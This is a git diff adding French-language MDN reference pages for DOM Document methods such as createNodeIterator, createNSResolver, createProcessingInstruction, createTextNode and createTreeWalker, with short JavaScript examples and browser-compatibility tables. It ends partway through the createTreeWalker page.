+ <li><code>type</code> est une chaîne de caractères qui représente le type d'événement à créer. Les types possibles d'événement incluent <code>"UIEvents"</code>, <code>"MouseEvents"</code>, <code>"MutationEvents"</code> et <code>"HTMLEvents"</code>. Voir la section {{Anch("Notes")}} pour plus de détails.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre>// Crée l'événement.
+var event = document.createEvent('Event');
+
+// Nomme l'événement 'build'.
+event.initEvent('build', true, true);
+
+//  <span class="short_text" id="result_box" lang="fr"><span>Écoute l'événement</span></span>.
+elem.addEventListener('build', function (e) {
+  // e.target correspond à elem
+}, false);
+
+// target peut être tout Element ou autre EventTarget.
+elem.dispatchEvent(event);
+</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<p><span id="result_box" lang="fr"><span>Les chaînes de type d'événement appropriées pour passer à <code>createEvent ()</code> sont répertoriées dans la norme DOM - voir le tableau à l'étape 2. Gardez à l'esprit que la plupart des objets événement ont maintenant des constructeurs, qui sont la méthode recommandée pour créer des occurrences d'objet événement.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Gecko prend en charge certains alias d'objet événement non standard, répertoriés ci-dessous :</span></span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Event Module</th>
+   <th>Standard event object</th>
+   <th>Gecko also supports</th>
+  </tr>
+  <tr>
+   <td>Text event module</td>
+   <td><code>TextEvent</code></td>
+   <td><code>TextEvents</code></td>
+  </tr>
+  <tr>
+   <td>Keyboard event module</td>
+   <td><code>KeyboardEvent</code></td>
+   <td><code>KeyEvents</code></td>
+  </tr>
+  <tr>
+   <td>Basic events module</td>
+   <td><code>Event</code></td>
+   <td><code>Events</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-DocumentEvent-createEvent">DOM Level 2 Events: createEvent</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-Events-DocumentEvent-createEvent" title="http://www.w3.org/TR/DOM-Level-3-Events/#events-Events-DocumentEvent-createEvent">DOM Level 3 Events: createEvent</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Création et déclenchement d'événements</a></li>
+</ul>
diff --git a/files/fr/web/api/document/createexpression/index.html b/files/fr/web/api/document/createexpression/index.html
new file mode 100644
index 0000000000..57bd734923
--- /dev/null
+++ b/files/fr/web/api/document/createexpression/index.html
@@ -0,0 +1,31 @@
+---
+title: Document.createExpression()
+slug: Web/API/Document/createExpression
+tags:
+  - API
+  - DOM
+  - Méthode
+  - XPath
+translation_of: Web/API/Document/createExpression
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Cette méthode compile une <code><a href="https://developer.mozilla.org/fr/docs/Web/API/XPathExpression" title="en/XPathExpression">XPathExpression</a></code> qui peut ensuite être utilisée pour des évaluations (répétées).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>xpathExpr</em> = <em>document</em>.createExpression(<em>xpathText</em>, <em>namespaceURLMapper</em>);
+</pre>
+
+<h3 id="Arguments" name="Arguments">Paramètres</h3>
+
+<ul>
+ <li>String (<em>chaîne de caractères</em>) <code>xpathText</code> (l'expression XPath à compiler)</li>
+ <li>Fonction <code>namespaceURLMapper</code> (mappe un préfixe d'espace de noms à une URL d'espace de noms (ou null si aucun n'est nécessaire)).</li>
+</ul>
+
+<p>{{ Fx_minversion_note(3, "Avant Firefox 3, vous pouviez appeler cette méthode sur des documents autres que celui que vous aviez prévu d'exécuter avec XPath. Sous Firefox 3, vous devez l'appeler sur le même document.") }}</p>
+
+<h3 id="Return" name="Return">Valeur retournée</h3>
+
+<p><a href="https://developer.mozilla.org/fr/docs/Web/API/XPathExpression" title="en/XPathExpression">XPathExpression</a></p>
diff --git a/files/fr/web/api/document/createnodeiterator/index.html b/files/fr/web/api/document/createnodeiterator/index.html
new file mode 100644
index 0000000000..b43b427f36
--- /dev/null
+++ b/files/fr/web/api/document/createnodeiterator/index.html
@@ -0,0 +1,137 @@
+---
+title: Document.createNodeIterator()
+slug: Web/API/Document/createNodeIterator
+tags:
+  - API
+  - DOM
+  - Méthodes
+translation_of: Web/API/Document/createNodeIterator
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Renvoie un  nouvel objet <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/NodeIterator" title="En/DOM/NodeIterator"><code>NodeIterator</code></a>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval script">var nodeIterator = document.createNodeIterator(root, whatToShow, filter);
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>root</code></dt>
+ <dd>Le noeud racine à partir duquel commencer la traversée de {{domxref("NodeIterator")}}.</dd>
+ <dt><code>whatToShow</code> {{ optional_inline() }}</dt>
+ <dd>Est un <code>unsigned long</code> (<em>long non signé</em>) facultatif représentant un masque de bits créé par la combinaison des constantes de la propriété <code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter" title="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>. C'est un moyen pratique de filtrage pour certains types de noeuds. Il est par défaut <code>0xFFFFFFFF</code> représentant la constante <code>SHOW_ALL</code>.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Constante</td>
+    <td class="header">Valeur numérique</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ALL</code></td>
+    <td><code>-1</code> (c'est la valeur numérique maximale du <code>unsigned long</code> (<em>non signé long</em>))</td>
+    <td>Affiche tous les noeuds.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+    <td><code>2</code></td>
+    <td>Affiche l'attribut {{domxref("Attr")}} des noeuds. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Attr")}} comme racine ; dans ce cas, cela signifie que le nœud d'attribut apparaîtra dans la première position de l'itération ou de la traversée. Comme les attributs ne sont jamais des enfants d'autres nœuds, ils n'apparaissent pas lors de la traversée de l'arbre du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+    <td><code>8</code></td>
+    <td>Affiche les noeuds {{domxref("CDATASection")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_COMMENT</code></td>
+    <td><code>128</code></td>
+    <td>Affiche les noeuds {{domxref("Comment")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+    <td><code>256</code></td>
+    <td>Affiche les noeuds {{domxref("Document")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+    <td><code>1024</code></td>
+    <td>Affiche les noeuds {{domxref("DocumentFragment")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+    <td><code>512</code></td>
+    <td>Affiche les noeuds {{domxref("DocumentType")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+    <td><code>1</code></td>
+    <td>Affiche les noeuds {{domxref("Element")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+    <td><code>32</code></td>
+    <td>Affiche les noeuds {{domxref("Entity")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{ domxref("Entity") }} comme racine ; dans ce cas, il signifie que le noeud d'entité {{domxref("Entity") }} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+    <td><code>16</code></td>
+    <td>Affiche les noeuds {{domxref("EntityReference")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+    <td><code>2048</code></td>
+    <td>Affiche les noeuds {{domxref("Notation")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Notation")}} comme racine ; dans ce cas, il signifie que le noeud {{domxref("Notation")}} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+    <td><code>64</code></td>
+    <td>Affiche les noeuds {{domxref("ProcessingInstruction")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_TEXT</code></td>
+    <td><code>4</code></td>
+    <td>Affiche les noeuds {{domxref("Text")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>filter</code> {{ optional_inline() }}</dt>
+ <dd>Un objet implémentant l'interface {{ domxref("NodeFilter") }} ; sa méthode <code>acceptNode()</code> sera appelée pour chaque nœud du sous-arbre basé à la racine qui est accepté comme inclus par l'indicateur whatToShow pour déterminer s'il faut ou non l'inclure dans la liste des nœuds iterables (une simple fonction de rappel peut également être utilisée à la place). La méthode devrait retourner l'un des <code>NodeFilter.FILTER_ACCEPT</code>, <code>NodeFilter.FILTER_REJECT</code> ou <code>NodeFilter.FILTER_SKIP</code>. Voir l'{{anch("Exemple")}}.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> Avant Gecko 12.0 {{geckoRelease("12.0")}}, cette méthode acceptait un quatrième paramètre facultatif (<code>entityReferenceExpansion</code>). Cela ne faisait pas partie de la spécification DOM4 et a donc été supprimé. Ce paramètre indiquait si les enfants des nœuds de référence d'entité étaient visibles ou non par l'itérateur. Puisque de tels noeuds n'ont jamais été créés dans les navigateurs, ce paramètre n'a eu aucun effet.</div>
+
+<h2 id="Example" name="Example"><a id="Exemple" name="Exemple"></a>Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    function(node) {
+        return node.nodeName.toLowerCase() === 'p' ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_REJECT;
+    }
+);
+var pars = [];
+var currentNode;
+
+while (currentNode = nodeIterator.nextNode()) {
+  pars.push(currentNode);
+}
+
+</pre>
+
+<h3 id="Specification" name="Specification">Compatibilité des navigateurs</h3>
+
+<p>Pris en charge dans FF 3.5+, Chrome 1+, Opera 9+, Safari 3+, IE9+, Edge</p>
+
+<h2 id="Specification" name="Specification">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://developer.mozilla.org/fr/docs/Web/API/Document/createNodeIterator" title="http://msdn.microsoft.com/en-us/library/ie/ff975301(v=vs.85).aspx">createNodeIterator sur MDN</a></li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeIterator" title="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeIterator">DOM Level 2 Traversal : NodeIterator</a></p>
diff --git a/files/fr/web/api/document/creatensresolver/index.html b/files/fr/web/api/document/creatensresolver/index.html
new file mode 100644
index 0000000000..d9546328ae
--- /dev/null
+++ b/files/fr/web/api/document/creatensresolver/index.html
@@ -0,0 +1,49 @@
+---
+title: Document.createNSResolver()
+slug: Web/API/Document/createNSResolver
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - XPath
+translation_of: Web/API/Document/createNSResolver
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Crée un <code>XPathNSResolver</code> qui résout les espaces de noms en respectant les définitions dans la portée pour un noeud spécifié.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>nsResolver</em> = document.createNSResolver(<em>node</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><code>node</code> est un noeud à utiliser comme contexte pour la résolution de l'espace de noms.</li>
+</ul>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<ul>
+ <li><code>nsResolver</code> est un objet XPathNSResolver.</li>
+</ul>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Adapte n'importe quel noeud DOM pour résoudre les espaces de noms afin qu'une expression <a href="https://developer.mozilla.org/fr/docs/XPath" title="en/XPath">XPath</a> puisse être facilement évaluée par rapport au contexte du nœud et son emplacement dans le document. Cet adaptateur fonctionne comme la méthode  <code>lookupNamespaceURI</code>  du DOM de niveau 3 sur les noeuds lors de la résolution de <code>namespaceURI</code> à partir d'un préfixe donné en utilisant l'information disponible dans la hiérarchie des noeuds au moment de l'appel de <code>lookupNamespaceURI</code>. Résout aussi correctement le préfixe implicite <code>xml</code>.</p>
+
+<p>Notez que XPath définit QNames sans préfixe pour correspondre uniquement aux éléments d'un espace de noms null. XPath n'a aucun moyen de récupérer l'espace de noms par défaut tel qu'il est appliqué à une référence d'élément régulier (par exemple, <code>p[@id='_myid'</code>] pour <code><span class="nowiki">xmlns='http://www.w3.org/1999/xhtml'</span></code>). Pour faire correspondre les éléments par défaut dans un espace de noms non nul, vous devez soit faire référence à un élément particulier en utilisant un format tel que <code>*namespace-uri()=<span class="nowiki">http://www.w3.org/1999/xhtml</span> and name()=p[@id='_myid']</code> (<a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Introduction_%C3%A0_l_utilisation_de_XPath_avec_JavaScript#Using_XPath_functions_to_reference_elements_with_its_default_namespace" title="en/Introduction_to_using_XPath_in_JavaScript#Using_XPath_functions_to_reference_elements_with_its_default_namespace">cette approche</a> fonctionne bien pour les expressions XPath dynamiques dans lesquelles les espaces de noms pourraient ne pas être connus), soit utiliser des tests de noms préfixés et créer un résolveur d'espace de nom mappant le préfixe à l'espace de nom. Pour en savoir plus sur <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Introduction_%C3%A0_l_utilisation_de_XPath_avec_JavaScript#Impl%C3%A9mentation_d%27un_r%C3%A9solveur" title="en/Introduction_to_using_XPath_in_JavaScript#Implementing_a_User_Defined_Namespace_Resolver">comment créer un résolveur d'espace de nom défini par l'utilisateur</a> si vous souhaitez adopter cette dernière approche.</p>
+
+<p><code>createNSResolver</code> a été introduit dans DOM Niveau 3.</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en/DOM/document.evaluate" title="en/DOM/document.evaluate">document.evaluate</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Introduction_%C3%A0_l_utilisation_de_XPath_avec_JavaScript" title="en/Introduction_to_using_XPath_in_JavaScript">Introduction à l'utilisation de XPath avec JavaScript</a></li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-XPath/xpath.html#XPathEvaluator-createNSResolver">DOM Level 3 XPath Specification : createNSResolver</a></p>
diff --git a/files/fr/web/api/document/createprocessinginstruction/index.html b/files/fr/web/api/document/createprocessinginstruction/index.html
new file mode 100644
index 0000000000..91c7652457
--- /dev/null
+++ b/files/fr/web/api/document/createprocessinginstruction/index.html
@@ -0,0 +1,55 @@
+---
+title: Document.createProcessingInstruction()
+slug: Web/API/Document/createProcessingInstruction
+tags:
+  - API
+  - Création
+  - DOM
+  - Méthodes
+  - Noeuds
+  - Reference
+  - Traitement
+  - instructions
+translation_of: Web/API/Document/createProcessingInstruction
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p><code>createProcessingInstruction()</code> crée un nouveau noeud d'instruction de traitement et le renvoie.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>Processing instruction node</em> = document.createProcessingInstruction(target, data)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>Processing Instruction node</code> est un noeud {{domxref("ProcessingInstruction")}}.</li>
+ <li><code>target</code> fait référence à la partie cible du noeud d'instructions de traitement (par exemple, &lt;?<em>target</em> ... ?&gt;).</li>
+ <li><code>data</code> est une string (<em>chaîne de caractères</em>) contenant les données à ajouter aux données du noeud.</li>
+</ul>
+
+<h3 id="Notes" name="Notes">Exceptions</h3>
+
+<dl>
+ <dt><code>NOT_SUPPORTED_ERR</code></dt>
+ <dd>Lancée si vous tentez de créer un noeud d'instructions de traitement sur un document HTML dans Gecko 9 {{ geckoRelease("9.0") }} ou antérieurs. Dans Gecko 10.0 {{ geckoRelease("10.0") }} et ultérieurs, vous pouvez utiliser cette méthode sur des documents HTML.</dd>
+ <dt><code>DOM_INVALID_CHARACTER</code></dt>
+ <dd>Lancée si vous essayez d'ajouter une cible d'instruction de traitement invalide (ce devrait être le cas avec le nom XML et toutes les combinaisons des lettres "xml"), ou si la séquence d'instructions de traitement de fermeture ("?&gt;") est ajoutée aux données. Les données fournies par l'utilisateur ne peuvent donc pas être utilisées en toute sécurité sans échappement ou autres moyens de faire face à de telles situations.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre>var docu = new DOMParser().parseFromString('&lt;xml&gt;&lt;/xml&gt;',  "application/xml")
+
+var pi = docu.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"');
+
+docu.insertBefore(pi, docu.firstChild);
+
+alert(new XMLSerializer().serializeToString(docu));
+// Affiche: &lt;?xml-stylesheet href="mycss.css" type="text/css"?&gt;&lt;xml/&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p><a class="external" href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-createprocessinginstruction">DOM 4: createProcessingInstruction</a></p>
diff --git a/files/fr/web/api/document/createrange/index.html b/files/fr/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..5a187c5f3a
--- /dev/null
+++ b/files/fr/web/api/document/createrange/index.html
@@ -0,0 +1,38 @@
+---
+title: Document.createRange
+slug: Web/API/Document/createRange
+tags:
+  - API
+  - DOM
+  - Document
+  - Méthodes
+translation_of: Web/API/Document/createRange
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Retourne un objet {{domxref("Range")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">range = document.createRange();
+</pre>
+
+<p><code>range</code> devient un objet {{domxref("Range")}}.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Une fois un objet <code>Range</code> créé, il est nécessaire de spécifier les limites de départ et de fin avant de pouvoir utiliser la plupart des méthodes.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level-2-DocumentRange-idl">DOM Level 2 Range: DocumentRange.createRange</a></li>
+</ul>
diff --git a/files/fr/web/api/document/createtextnode/index.html b/files/fr/web/api/document/createtextnode/index.html
new file mode 100644
index 0000000000..8f16aa0440
--- /dev/null
+++ b/files/fr/web/api/document/createtextnode/index.html
@@ -0,0 +1,128 @@
+---
+title: document.createTextNode
+slug: Web/API/Document/createTextNode
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Reference
+translation_of: Web/API/Document/createTextNode
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Crée un nouveau nœud de texte.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var text</var> = document.createTextNode(<var>données</var>);
+</pre>
+
+<ul>
+ <li><code>texte</code> est un nœud de texte.</li>
+ <li><code>donnees</code> est une chaîne contenant les données à placer dans le nœud de texte.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>createTextNode example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">function</span> <span class="function token">addTextNode</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> newtext <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span><span class="punctuation token">,</span>
+      p1 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"p1"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  p1<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>newtext<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>addTextNode(<span class="punctuation token">'</span>YES! <span class="punctuation token">'</span>);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>YES!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>addTextNode(<span class="punctuation token">'</span>NO! <span class="punctuation token">'</span>);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>NO!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>addTextNode(<span class="punctuation token">'</span>WE CAN! <span class="punctuation token">'</span>);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>WE CAN!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>hr</span> <span class="punctuation token">/&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>p1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>First line of paragraph.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/document/createtreewalker/index.html b/files/fr/web/api/document/createtreewalker/index.html
new file mode 100644
index 0000000000..87dbad7998
--- /dev/null
+++ b/files/fr/web/api/document/createtreewalker/index.html
@@ -0,0 +1,245 @@
+---
+title: Document.createTreeWalker()
+slug: Web/API/Document/createTreeWalker
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Document
+  - Filtre
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Document/createTreeWalker
+---
+<div>{{ApiRef("Document")}}</div>
+
+<p>La méthode de création <strong><code>Document.createTreeWalker()</code></strong> renvoie un nouvel objet {{domxref("TreeWalker")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>treeWalker</em> = <em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>, <em>filter</em>, <em>entityReferenceExpansion</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>root </em></dt>
+ <dd>est le {{domxref("Node")}} (<em>noeud</em>) racine du {{domxref("TreeWalker")}} à traverser. Généralement, ce sera un élément appartenant au document.</dd>
+ <dt><em>whatToShow {{optional_inline}}</em></dt>
+ <dd>est un <code>unsigned long</code> (<em>long non signé</em>) facultatif représentant un masque de bits créé par combinaison des propriétés de constante de <code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>. C'est un moyen pratique de filtrage pour certains types de nœuds. Par défaut <code>0xFFFFFFFF</code> représentant la constante <code>SHOW_ALL</code>.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Constante</td>
+    <td class="header">Valeur numérique</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ALL</code></td>
+    <td><code>-1</code> (c'est la valeur numérique maximale du <code>unsigned long</code> (<em>non signé long</em>))</td>
+    <td>Affiche tous les noeuds.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+    <td><code>2</code></td>
+    <td>Affiche l'attribut {{domxref("Attr")}} des noeuds. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Attr")}} comme racine ; dans ce cas, cela signifie que le nœud d'attribut apparaîtra dans la première position de l'itération ou de la traversée. Comme les attributs ne sont jamais des enfants d'autres nœuds, ils n'apparaissent pas lors de la traversée de l'arbre du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+    <td><code>8</code></td>
+    <td>Affiche les noeuds {{domxref("CDATASection")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_COMMENT</code></td>
+    <td><code>128</code></td>
+    <td>Affiche les noeuds {{domxref("Comment")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+    <td><code>256</code></td>
+    <td>Affiche les noeuds {{domxref("Document")}}.</td>
